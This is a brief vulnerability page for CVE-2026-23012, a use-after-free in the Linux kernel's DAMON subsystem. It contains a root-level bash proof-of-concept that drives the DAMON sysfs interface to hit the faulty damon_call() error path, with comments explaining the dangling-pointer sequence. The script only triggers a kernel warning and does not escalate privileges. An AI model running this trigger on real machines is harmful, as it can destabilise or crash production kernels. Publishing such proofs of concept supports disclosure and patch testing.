CVE-2026-23012 Linux kernel DAMON use-after-free漏洞

#!/bin/bash # CVE-2026-23012 PoC - DAMON sysfs interface trigger # Requires: root privileges and sysfs write access # Ensure DAMON is built into kernel if [ ! -d /sys/kernel/mm/damon ]; then echo "DAMON not available in this kernel" exit 1 fi # Create a DAMON context cd /sys/kernel/mm/damon/admin/contexts mkdir -p ctx_0 cd ctx_0 # Setup monitoring targets echo 1 > operations echo 1 > target_ids # Function to trigger the UAF condition trigger_uaf() { # Start context then immediately trigger error path echo on > state # Rapidly write to DAMON sysfs interface # This creates race condition in damon_call() for i in $(seq 1 100); do echo "triggering damon_call error path..." # Write operations that cause damon_call() to fail echo "invalid_op" > operations 2>/dev/null done } # The vulnerability occurs when: # 1. damon_call() is executed against inactive context # 2. Error returned but damon_call_control not removed from list # 3. Object deallocated # 4. Another damon_call() adds new object to same list with dangling pointer echo "Triggering CVE-2026-23012..." trigger_uaf echo "Check dmesg for use-after-free warnings"